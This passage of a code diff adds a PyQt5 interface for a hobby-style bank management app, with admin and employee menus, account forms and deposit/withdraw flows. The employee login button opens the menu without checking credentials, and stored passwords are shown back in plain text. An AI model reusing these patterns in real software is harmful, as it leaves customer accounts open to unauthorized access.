button_container_layout.addWidget(btn) + buttons.append(btn) + + button_layout.addWidget( + button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(button_frame) + + return page, *buttons # Unpack as add_button, update_employee, etc. + + +def create_add_employee_page( + parent, title, submit_text="Submit", update_btn: bool = False +): + page, main_layout = create_page_with_header(parent, title) + + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + + form_frame = create_styled_frame( + content_frame, + min_size=(340, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + form_layout.setSpacing(10) + + # Define input fields + fields = ["Name :", "Password :", "Salary :", "Position :"] + name_edit = None + password_edit = None + salary_edit = None + position_edit = None + edits = [] + + for i, field in enumerate(fields): + field_frame, field_edit = create_input_field(form_frame, field) + form_layout.addWidget(field_frame) + if i == 0: + name_edit = field_edit + elif i == 1: + password_edit = field_edit + elif i == 2: + salary_edit = field_edit + elif i == 3: + position_edit = field_edit + edits.append(field_edit) + # Submit button + button_frame = create_styled_frame(form_frame, style="padding: 7px;") + button_layout = QtWidgets.QVBoxLayout(button_frame) + if update_btn: + update_button = create_styled_button(button_frame, "Update", min_size=(100, 50)) + button_layout.addWidget(update_button, 0, QtCore.Qt.AlignHCenter) + else: + submit_button = create_styled_button( + button_frame, submit_text, min_size=(100, 50) + ) + button_layout.addWidget(submit_button, 0, QtCore.Qt.AlignHCenter) + + form_layout.addWidget(button_frame) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + back_btn = QtWidgets.QPushButton("Back", content_frame) + back_btn.setStyleSheet(""" + QPushButton { + background-color: #6c757d; + color: white; + border: none; + border-radius: 4px; + padding: 8px 16px; + font-size: 14px; + } + QPushButton:hover { + background-color: #5a6268; + } + """) + back_btn.clicked.connect(lambda: parent.setCurrentIndex(ADMIN_MENU_PAGE)) + main_layout.addWidget(back_btn, 0, alignment=QtCore.Qt.AlignLeft) + if update_btn: + return page, name_edit, password_edit, salary_edit, position_edit, update_button + else: + return ( + page, + name_edit, + password_edit, + salary_edit, + position_edit, + submit_button, + ) # Unpack as name_edit, password_edit, etc. + + +def show_employee_list_page(parent, title): + page, main_layout = create_page_with_header(parent, title) + + content_frame = create_styled_frame( + page, style="background-color: #f9f9f9; border-radius: 10px; padding: 15px;" + ) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + + # Table frame + table_frame = create_styled_frame( + content_frame, + style="background-color: #ffffff; border-radius: 8px; padding: 10px;", + ) + table_layout = QtWidgets.QVBoxLayout(table_frame) + table_layout.setSpacing(0) + + # Header row + header_frame = create_styled_frame( + table_frame, + style="background-color: #f5f5f5; ; border-radius: 8px 8px 0 0; padding: 10px;", + ) + header_layout = QtWidgets.QHBoxLayout(header_frame) + header_layout.setContentsMargins(10, 5, 10, 5) + headers = ["Name", "Position", "Salary"] + for i, header in enumerate(headers): + header_label = QtWidgets.QLabel(header, header_frame) + header_label.setStyleSheet( + "font-weight: bold; font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) + if i == 2: # Right-align salary header + header_label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter) + else: + header_label.setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter) + header_layout.addWidget( + header_label, 1 if i < 2 else 0 + ) # Stretch name and position, not salary + table_layout.addWidget(header_frame) + + # Employee rows + employees = backend.show_employees_for_update() + for row, employee in enumerate(employees): + row_frame = create_styled_frame( + table_frame, + style=f"background-color: {'#fafafa' if row % 2 else '#ffffff'}; padding: 8px;", + ) + row_layout = QtWidgets.QHBoxLayout(row_frame) + row_layout.setContentsMargins(10, 5, 10, 5) + + # Name + name_label = QtWidgets.QLabel(employee[0], row_frame) + name_label.setStyleSheet( + "font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) + name_label.setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter) + row_layout.addWidget(name_label, 1) + + # Position + position_label = QtWidgets.QLabel(employee[3], row_frame) + position_label.setStyleSheet( + "font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) + position_label.setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter) + row_layout.addWidget(position_label, 1) + + # Salary (formatted as currency) + salary_label = QtWidgets.QLabel(f"${float(employee[2]):,.2f}", row_frame) + salary_label.setStyleSheet( + "font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) + salary_label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter) + row_layout.addWidget(salary_label, 0) + + table_layout.addWidget(row_frame) + + # Add stretch to prevent rows from expanding vertically + table_layout.addStretch() + + # Back button + back_button = QtWidgets.QPushButton("Back", content_frame) + back_button.setStyleSheet(""" + QPushButton { + background-color: #6c757d; + color: white; + border: none; + border-radius: 4px; + padding: 8px 16px; + font-size: 14px; + } + QPushButton:hover { + background-color: #5a6268; + } + """) + back_button.clicked.connect(lambda: parent.setCurrentIndex(ADMIN_MENU_PAGE)) + + content_layout.addWidget(table_frame) + main_layout.addWidget(back_button, alignment=QtCore.Qt.AlignLeft) + main_layout.addWidget(content_frame) + + return page + + +def show_total_money(parent, title): + page, main_layout = create_page_with_header(parent, title) + + content_frame = create_styled_frame( + page, style="background-color: #f9f9f9; border-radius: 10px; padding: 15px;" + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + content_layout.setProperty("spacing", 10) + all = backend.all_money() + + # Total money label + total_money_label = QtWidgets.QLabel(f"Total Money: ${all}", content_frame) + total_money_label.setStyleSheet( + "font-size: 24px; font-weight: bold; color: #333333;" + ) + content_layout.addWidget(total_money_label, alignment=QtCore.Qt.AlignCenter) + # Back button + back_button = QtWidgets.QPushButton("Back", content_frame) + back_button.setStyleSheet(""" + QPushButton { + background-color: #6c757d; + color: white; + border: none; + border-radius: 4px; + padding: 8px 16px; + font-size: 14px; + } + QPushButton:hover { + background-color: #5a6268; + } + """) + back_button.clicked.connect(lambda: parent.setCurrentIndex(ADMIN_MENU_PAGE)) + content_layout.addWidget(back_button, alignment=QtCore.Qt.AlignCenter) + main_layout.addWidget(content_frame) + return page + + +# -----------employees menu pages----------- +def create_employee_menu_page(parent, title): + page, main_layout = create_page_with_header(parent, title) + + button_frame = create_styled_frame(page) + button_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + button_layout = QtWidgets.QVBoxLayout(button_frame) + + button_container = create_styled_frame( + button_frame, + min_size=(300, 0), + style="background-color: #ffffff; border-radius: 15px; padding: 20px;", + ) + button_container_layout = QtWidgets.QVBoxLayout(button_container) + button_container_layout.setSpacing(15) + + # Define button labels + button_labels = [ + "Create Account ", + "Show Details", + "Add Balance", + "Withdraw Money", + "Chack Balanace", + "Update Account", + "list of all Members", + "Delete Account", + "Back", + ] + buttons = [] + + for label in button_labels: + btn: QtWidgets.QPushButton = create_styled_button(button_container, label) + button_container_layout.addWidget(btn) + buttons.append(btn) + + button_layout.addWidget( + button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(button_frame) + + return page, *buttons # Unpack as add_button, update_employee, etc. + + +def create_account_page(parent, title, update_btn=False): + page, main_layout = create_page_with_header(parent, title) + + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + form_layout.setSpacing(3) + + # Define input fields + fields = ["Name :", "Age :", "Address", "Balance :", "Mobile number :"] + edits = [] + + for i, field in enumerate(fields): + field_frame, field_edit = create_input_field( + form_frame, field, min_label_size=(160, 0) + ) + form_layout.addWidget(field_frame) + field_edit.setFont(QtGui.QFont("Arial", 12)) + if i == 0: + name_edit = field_edit + elif i == 1: + Age_edit = field_edit + elif i == 2: + Address_edit = field_edit + elif i == 3: + Balance_edit = field_edit + elif i == 4: + Mobile_number_edit = field_edit + edits.append(field_edit) + # Dropdown for account type + account_type_label = QtWidgets.QLabel("Account Type :", form_frame) + account_type_label.setStyleSheet( + "font-size: 14px; font-weight: bold; color: #333333;" + ) + form_layout.addWidget(account_type_label) + account_type_dropdown = QtWidgets.QComboBox(form_frame) + account_type_dropdown.addItems(["Savings", "Current", "Fixed Deposit"]) + account_type_dropdown.setStyleSheet(""" + QComboBox { + padding: 5px; + border: 1px solid #ccc; + border-radius: 4px; + background-color: white; + min-width: 200px; + font-size: 14px; + } + QComboBox:hover { + border: 1px solid #999; + } + QComboBox::drop-down { + border: none; + width: 25px; + } + QComboBox::down-arrow { + width: 12px; + height: 12px; + } + QComboBox QAbstractItemView { + border: 1px solid #ccc; + background-color: white; + selection-background-color: #0078d4; + selection-color: white; + } + """) + form_layout.addWidget(account_type_dropdown) + + # Submit button + button_frame = create_styled_frame(form_frame, style="padding: 7px;") + button_layout = QtWidgets.QVBoxLayout(button_frame) + + if update_btn: + submit_button = create_styled_button(button_frame, "Update", min_size=(100, 50)) + else: + submit_button = create_styled_button(button_frame, "Submit", min_size=(100, 50)) + button_layout.addWidget(submit_button, 0, QtCore.Qt.AlignHCenter) + + form_layout.addWidget(button_frame) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + back_btn = QtWidgets.QPushButton("Back", content_frame) + back_btn.setStyleSheet(""" + QPushButton { + background-color: #6c757d; + color: white; + border: none; + border-radius: 4px; + padding: 8px 16px; + font-size: 14px; + } + QPushButton:hover { + background-color: #5a6268; + } + """) + back_btn.clicked.connect(lambda: parent.setCurrentIndex(EMPLOYEE_MENU_PAGE)) + main_layout.addWidget(back_btn, 0, alignment=QtCore.Qt.AlignLeft) + + return page, ( + name_edit, + Age_edit, + Address_edit, + Balance_edit, + Mobile_number_edit, + account_type_dropdown, + submit_button, + ) + + +def create_show_details_page1(parent, title): + page, main_layout = create_page_with_header(parent, title) + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + form_layout.setSpacing(3) + # Define input fields + bannk_user = create_input_field( + form_frame, "Enter Bank account Number :", min_label_size=(180, 0) + ) + form_layout.addWidget(bannk_user[0]) + user_account_number = bannk_user[1] + submit_button = create_styled_button(form_frame, "Submit", min_size=(100, 50)) + form_layout.addWidget(submit_button) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + + return page, (user_account_number, submit_button) + + +def create_show_details_page2(parent, title): + page, main_layout = create_page_with_header(parent, title) + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + form_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + form_layout.setSpacing(3) + + # Define input fields + + labeles = [ + "Account No: ", + "Name: ", + "Age:", + "Address: ", + "Balance: ", + "Mobile Number: ", + "Account Type: ", + ] + for i in range(len(labeles)): + label_frame, input_field = create_input_field( + form_frame, labeles[i], min_label_size=(180, 30) + ) + form_layout.addWidget(label_frame) + input_field.setReadOnly(True) + input_field.setFont(QtGui.QFont("Arial", 12)) + if i == 0: + account_no_field = input_field + elif i == 1: + name_field = input_field + elif i == 2: + age_field = input_field + elif i == 3: + address_field = input_field + elif i == 4: + balance_field = input_field + elif i == 5: + mobile_number_field = input_field + elif i == 6: + account_type_field = input_field + + exite_btn = create_styled_button(form_frame, "Exit", min_size=(100, 50)) + exite_btn.setStyleSheet(""" + QPushButton { + background-color: #6c757d; + color: white; + border: none; + border-radius: 4px; + padding: 8px 16px; + font-size: 14px; + } + QPushButton:hover { + background-color: #5a6268; + } + """) + exite_btn.clicked.connect(lambda: parent.setCurrentIndex(EMPLOYEE_MENU_PAGE)) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + main_layout.addWidget(exite_btn) + + return page, ( + account_no_field, + name_field, + age_field, + address_field, + balance_field, + mobile_number_field, + account_type_field, + exite_btn, + ) + + +def update_user(parent, title, input_fields_label, input_fielf: bool = True): + page, main_layout = create_page_with_header(parent, title) + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + content_layout.alignment + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + form_layout.setSpacing(3) + # Define input fields + user = create_input_field(form_frame, "User Name: ", min_label_size=(180, 0)) + user_balance = create_input_field(form_frame, "Balance: ", min_label_size=(180, 0)) + + # Add input fields to the form layout + form_layout.addWidget(user[0]) + form_layout.addWidget(user_balance[0]) + if input_fielf: + user_update_balance = create_input_field_V( + form_frame, input_fields_label, min_label_size=(180, 0) + ) + form_layout.addWidget(user_update_balance[0]) + + # Store the input fields in variables + user_account_name = user[1] + user_account_name.setReadOnly(True) + user_account_name.setStyleSheet( + "background-color: #8a8a8a; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) + user_balance_field = user_balance[1] + user_balance_field.setReadOnly(True) + user_balance_field.setStyleSheet( + "background-color: #8a8a8a; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) + if input_fielf: + user_update_balance_field = user_update_balance[1] + user_update_balance_field.setStyleSheet( + "background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) + + # Set the font size for the input fields + user_account_name.setFont(FONT_SIZE) + user_balance_field.setFont(FONT_SIZE) + if input_fielf: + user_update_balance_field.setFont(FONT_SIZE) + + # Add a submit button + submit_button = create_styled_button(form_frame, "Submit", min_size=(100, 50)) + form_layout.addWidget(submit_button) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + back_btn = create_styled_button(content_frame, "Back", min_size=(100, 50)) + back_btn.setStyleSheet(""" + QPushButton { + background-color: #6c757d; + color: white; + border: none; + border-radius: 4px; + padding: 8px 16px; + font-size: 14px; + } + QPushButton:hover { + background-color: #5a6268; + } + """) + back_btn.clicked.connect(lambda: parent.setCurrentIndex(EMPLOYEE_MENU_PAGE)) + backend + if input_fielf: + return page, ( + user_account_name, + user_balance_field, + user_update_balance_field, + submit_button, + ) + else: + return page, (user_account_name, user_balance_field, submit_button) + + +# ------------------------------------------------------------------------------------------------------------- +# === Main Window Setup === +# ------------------------------------------------------------------------------------------------------------- + + +def setup_main_window(main_window: QtWidgets.QMainWindow): + """Set up the main window with a stacked widget containing home, admin, and employee pages.""" + main_window.setObjectName("MainWindow") + main_window.resize(800, 600) + main_window.setStyleSheet("background-color: #f0f2f5;") + + central_widget = QtWidgets.QWidget(main_window) + main_layout = QtWidgets.QHBoxLayout(central_widget) + + stacked_widget = QtWidgets.QStackedWidget(central_widget) + + # Create pages + def switch_to_admin(): + stacked_widget.setCurrentIndex(ADMIN_PAGE) + + def switch_to_employee(): + stacked_widget.setCurrentIndex(EMPLOYEE_PAGE) + + def exit_app(): + QtWidgets.QApplication.quit() + + def admin_login_menu_page(name, password): + try: + # Ideally, here you'd call a backend authentication check + success = backend.check_admin(name, password) + if success: + QtWidgets.QMessageBox.information( + stacked_widget, "Login Successful", f"Welcome, {name}!" + ) + stacked_widget.setCurrentIndex(ADMIN_MENU_PAGE) + else: + QtWidgets.QMessageBox.warning( + stacked_widget, "Login Failed", "Incorrect name or password." + ) + except Exception as e: + QtWidgets.QMessageBox.critical( + stacked_widget, "Error", f"An error occurred during login: {str(e)}" + ) + # show_popup_message(stacked_widget,"Invalid admin credentials",0) + + def add_employee_form_submit(name, password, salary, position): + if ( + len(name) != 0 + and len(password) != 0 + and len(salary) != 0 + and len(position) != 0 + ): + backend.create_employee(name, password, salary, position) + show_popup_message( + stacked_widget, "Employee added successfully", ADMIN_MENU_PAGE + ) + + else: + print("Please fill in all fields") + show_popup_message( + stacked_widget, "Please fill in all fields", ADD_EMPLOYEE_PAGE + ) + + def update_employee_data(name, password, salary, position, name_to_update): + try: + cur = backend.cur + if name_to_update: + cur.execute( + "UPDATE staff SET Name = ? WHERE name = ?", (name, name_to_update) + ) + + cur.execute("UPDATE staff SET Name = ? WHERE name = ?", (password, name)) + cur.execute( + "UPDATE staff SET password = ? WHERE name = ?", (password, name) + ) + cur.execute("UPDATE staff SET salary = ? WHERE name = ?", (salary, name)) + cur.execute( + "UPDATE staff SET position = ? WHERE name = ?", (position, name) + ) + backend.conn.commit() + show_popup_message( + stacked_widget, "Employee Upadate successfully", UPDATE_EMPLOYEE_PAGE2 + ) + + except: + show_popup_message( + stacked_widget, "Please fill in all fields", UPDATE_EMPLOYEE_PAGE2 + ) + + # Create Home Page + home_page = create_home_page( + stacked_widget, switch_to_admin, switch_to_employee, exit_app + ) + # ------------------------------------------------------------------------------------------------ + # -------------------------------------Admin panel page --------------------------------------- + # ------------------------------------------------------------------------------------------------ + # Create Admin Login Page + admin_page, admin_name, admin_password, admin_submit = create_login_page( + stacked_widget, title="Admin Login" + ) + admin_password.setEchoMode(QtWidgets.QLineEdit.Password) + admin_name.setFont(QtGui.QFont("Arial", 10)) + admin_password.setFont(QtGui.QFont("Arial", 10)) + admin_name.setPlaceholderText("Enter your name") + admin_password.setPlaceholderText("Enter your password") + + admin_submit.clicked.connect( + lambda: admin_login_menu_page(admin_name.text(), admin_password.text()) + ) + + # Create Admin Menu Page + ( + admin_menu_page, + add_button, + update_button, + list_button, + money_button, + back_button, + ) = create_admin_menu_page(stacked_widget) + + add_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(ADD_EMPLOYEE_PAGE) + ) + update_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(UPDATE_EMPLOYEE_PAGE1) + ) + list_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_LIST_PAGE) + ) + back_button.clicked.connect(lambda: stacked_widget.setCurrentIndex(HOME_PAGE)) + money_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(ADMIN_TOTAL_MONEY) + ) + # Create Add Employee Page + add_employee_page, emp_name, emp_password, emp_salary, emp_position, emp_submit = ( + create_add_employee_page(stacked_widget, title="Add Employee") + ) + + # Update Employee Page + u_employee_page1 = get_employee_name(stacked_widget) + # apply the update_employee_data function to the submit button + + ( + u_employee_page2, + u_employee_name, + u_employee_password, + u_employee_salary, + u_employee_position, + u_employee_update, + ) = create_add_employee_page( + stacked_widget, "Update Employee Details", update_btn=True + ) + + def populate_employee_data(): + global employee_data + if employee_data: + print("employee_data is not None") + u_employee_name.setText(str(employee_data[0])) # Name + u_employee_password.setText(str(employee_data[1])) # Password + u_employee_salary.setText(str(employee_data[2])) # Salary + u_employee_position.setText(str(employee_data[3])) # Position + else: + # Clear fields if no employee data is available + print("employee_data is None") + u_employee_name.clear() + u_employee_password.clear() + u_employee_salary.clear() + u_employee_position.clear() + QtWidgets.QMessageBox.warning( + stacked_widget, "No Data", "No employee data available to display." + ) + + def on_page_changed(index): + if index == 6: # update_employee_page2 is at index 6 + populate_employee_data() + + # Connect the currentChanged signal to the on_page_changed function + stacked_widget.currentChanged.connect(on_page_changed) + + def update_employee_data(name, password, salary, position, name_to_update): + try: + if not name_to_update: + show_popup_message( + stacked_widget, + "Original employee name is missing.", + UPDATE_EMPLOYEE_PAGE2, + ) + return + if not (name or password or salary or position): + show_popup_message( + stacked_widget, + "Please fill at least one field to update.", + UPDATE_EMPLOYEE_PAGE2, + ) + return + if name: + backend.update_employee_name(name, name_to_update) + if password: + backend.update_employee_password(password, name_to_update) + if salary: + try: + salary = int(salary) + backend.update_employee_salary(salary, name_to_update) + except ValueError: + show_popup_message( + stacked_widget, "Salary must be a valid number.", 5 + ) + return + if position: + backend.update_employee_position(position, name_to_update) + show_popup_message( + stacked_widget, "Employee updated successfully.", ADMIN_MENU_PAGE + ) + except Exception as e: + show_popup_message( + stacked_widget, + f"Error updating employee: {str(e)}", + UPDATE_EMPLOYEE_PAGE2, + show_cancel=True, + cancel_page=ADMIN_MENU_PAGE, + ) + + u_employee_update.clicked.connect( + lambda: update_employee_data( + u_employee_name.text().strip(), + u_employee_password.text().strip(), + u_employee_salary.text().strip(), + u_employee_position.text().strip(), + employee_data[0] if employee_data else "", + ) + ) + + emp_submit.clicked.connect( + lambda: add_employee_form_submit( + emp_name.text(), emp_password.text(), emp_salary.text(), emp_position.text() + ) + ) + # show employee list page + employee_list_page = show_employee_list_page(stacked_widget, "Employee List") + admin_total_money = show_total_money(stacked_widget, "Total Money") + # ------------------------------------------------------------------------------------------------ + # -------------------------------------Employee panel page --------------------------------------- + # ------------------------------------------------------------------------------------------------ + + # Create Employee Login Page + employee_page, employee_name, employee_password, employee_submit = ( + create_login_page(stacked_widget, title="Employee Login") + ) + employee_submit.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_MENU_PAGE) + ) + ( + employee_menu_page, + E_Create_Account, + E_Show_Details, + E_add_Balance, + E_Withdraw_Money, + E_Chack_Balanace, + E_Update_Account, + E_list_of_all_Members, + E_Delete_Account, + E_Back, + ) = create_employee_menu_page(stacked_widget, "Employee Menu") + # List of all page + E_Create_Account.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_CREATE_ACCOUNT_PAGE) + ) + E_Show_Details.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_SHOW_DETAILS_PAGE1) + ) + E_add_Balance.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_ADD_BALANCE_SEARCH) + ) + E_Withdraw_Money.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_WITHDRAW_MONEY_SEARCH) + ) + E_Chack_Balanace.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_CHECK_BALANCE_SEARCH) + ) + E_Update_Account.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_UPDATE_ACCOUNT_SEARCH) + ) + # E_list_of_all_Members.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_LIST_OF_ALL_MEMBERS_PAGE)) + # E_Delete_Account.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_DELETE_ACCOUNT_PAGE)) + # E_Back.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_MENU_PAGE)) + + employee_create_account_page, all_employee_menu_btn = create_account_page( + stacked_widget, "Create Account" + ) + all_employee_menu_btn[6].clicked.connect( + lambda: add_account_form_submit( + all_employee_menu_btn[0].text().strip(), + all_employee_menu_btn[1].text().strip(), + all_employee_menu_btn[2].text().strip(), + all_employee_menu_btn[3].text().strip(), + all_employee_menu_btn[5].currentText(), + all_employee_menu_btn[4].text().strip(), + ) + ) + + def add_account_form_submit(name, age, address, balance, account_type, mobile): + if ( + len(name) != 0 + and len(age) != 0 + and len(address) != 0 + and len(balance) != 0 + and len(account_type) != 0 + and len(mobile) != 0 + ): + try: + balance = int(balance) + except ValueError: + show_popup_message( + stacked_widget, + "Balance must be a valid number", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + if balance < 0: + show_popup_message( + stacked_widget, + "Balance cannot be negative", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + if account_type not in ["Savings", "Current", "Fixed Deposit"]: + show_popup_message( + stacked_widget, "Invalid account type", EMPLOYEE_CREATE_ACCOUNT_PAGE + ) + return + if len(mobile) != 10: + show_popup_message( + stacked_widget, + "Mobile number must be 10 digits", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + if not mobile.isdigit(): + show_popup_message( + stacked_widget, + "Mobile number must contain only digits", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + if not name.isalpha(): + show_popup_message( + stacked_widget, + "Name must contain only alphabets", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + if not age.isdigit(): + show_popup_message( + stacked_widget, + "Age must contain only digits", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + if int(age) < 18: + show_popup_message( + stacked_widget, + "Age must be greater than 18", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + if len(address) < 10: + show_popup_message( + stacked_widget, + "Address must be at least 10 characters long", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + return + backend.create_customer(name, age, address, balance, account_type, mobile) + all_employee_menu_btn[0].setText("") + all_employee_menu_btn[1].setText("") + all_employee_menu_btn[2].setText("") + all_employee_menu_btn[3].setText("") + all_employee_menu_btn[4].setText("") + (all_employee_menu_btn[5].currentText(),) + show_popup_message( + stacked_widget, + "Account created successfully", + EMPLOYEE_MENU_PAGE, + False, + ) + else: + show_popup_message( + stacked_widget, + "Please fill in all fields", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) + # Add pages to stacked widget + + show_bank_user_data_page1, show_bank_user_other1 = create_show_details_page1( + stacked_widget, "Show Details" + ) + show_bank_user_data_page2, show_bank_user_other2 = create_show_details_page2( + stacked_widget, "Show Details" + ) + + show_bank_user_other1[1].clicked.connect( + lambda: show_bank_user_data_page1_submit_btn( + int(show_bank_user_other1[0].text().strip()) + ) + ) + + def show_bank_user_data_page1_submit_btn(name: int): + account_data = backend.get_details(name) + if account_data: + show_bank_user_other1[0].setText("") + show_bank_user_other2[0].setText(str(account_data[0])) + show_bank_user_other2[1].setText(str(account_data[1])) + show_bank_user_other2[2].setText(str(account_data[2])) + show_bank_user_other2[3].setText(str(account_data[3])) + show_bank_user_other2[4].setText(str(account_data[4])) + show_bank_user_other2[5].setText(str(account_data[5])) + show_bank_user_other2[6].setText(str(account_data[6])) + stacked_widget.setCurrentIndex(EMPLOYEE_SHOW_DETAILS_PAGE2) + else: + show_popup_message( + stacked_widget, "Account not found", EMPLOYEE_SHOW_DETAILS_PAGE1 + ) + + def setup_balance_operation_flow( + stacked_widget, + title_search, + placeholder, + title_form, + action_button_text, + success_message, + backend_action_fn, + stacked_page_index, + search_index, + page_index, + need_input=True, + ): + # Create search UI + search_page, search_widgets = search_result( + stacked_widget, title_search, placeholder + ) + search_input = search_widgets[0] + search_button = search_widgets[1] + + # Create update UI + form_page, form_widgets = update_user( + stacked_widget, title_form, action_button_text, need_input + ) + if need_input: + name_field, balance_field, amount_field, action_button = form_widgets + else: + name_field, balance_field, action_button = form_widgets + + def on_search_submit(): + try: + account_number = int(search_input.text().strip()) + except ValueError: + show_popup_message( + stacked_widget, "Please enter a valid account number.", search_index + ) + return + + if backend.check_acc_no(account_number): + account_data = backend.get_details(account_number) + name_field.setText(str(account_data[1])) + balance_field.setText(str(account_data[4])) + stacked_widget.setCurrentIndex(page_index) + else: + show_popup_message( + stacked_widget, + "Account not found", + search_index, + show_cancel=True, + cancel_page=EMPLOYEE_MENU_PAGE, + ) + + def on_action_submit(): + try: + account_number = int(search_input.text().strip()) + amount = int(amount_field.text().strip()) + backend_action_fn(amount, account_number) + name_field.setText("") + balance_field.setText("") + search_input.setText("") + show_popup_message(stacked_widget, success_message, EMPLOYEE_MENU_PAGE) + except ValueError: + show_popup_message( + stacked_widget, "Enter valid numeric amount.", page_index + ) + + search_button.clicked.connect(on_search_submit) + action_button.clicked.connect(on_action_submit) + + return search_page, form_page + + # Add Balance Flow + add_balance_search_page, add_balance_page = setup_balance_operation_flow( + stacked_widget=stacked_widget, + title_search="Add Balance", + placeholder="Enter Account Number: ", + title_form="Add Balance User Account", + action_button_text="Enter Amount: ", + success_message="Balance updated successfully", + backend_action_fn=backend.update_balance, + stacked_page_index=EMPLOYEE_ADD_BALANCE_SEARCH, + search_index=EMPLOYEE_ADD_BALANCE_SEARCH, + page_index=EMPLOYEE_ADD_BALANCE_PAGE, + ) + + # Withdraw Money Flow + withdraw_money_search_page, withdraw_money_page = setup_balance_operation_flow( + stacked_widget=stacked_widget, + title_search="Withdraw Money", + placeholder="Enter Account Number: ", + title_form="Withdraw Money From User Account", + action_button_text="Withdraw Amount: ", + success_message="Amount withdrawn successfully", + backend_action_fn=backend.deduct_balance, + stacked_page_index=EMPLOYEE_WITHDRAW_MONEY_SEARCH, + search_index=EMPLOYEE_WITHDRAW_MONEY_SEARCH, + page_index=EMPLOYEE_WITHDRAW_MONEY_PAGE, + ) + + check_balance_search_page, check_balance_page = setup_balance_operation_flow( + stacked_widget=stacked_widget, + title_search="Check Balance", + placeholder="Enter Account Number: ", + title_form="Check Balance", + action_button_text="Check Balance: ", + 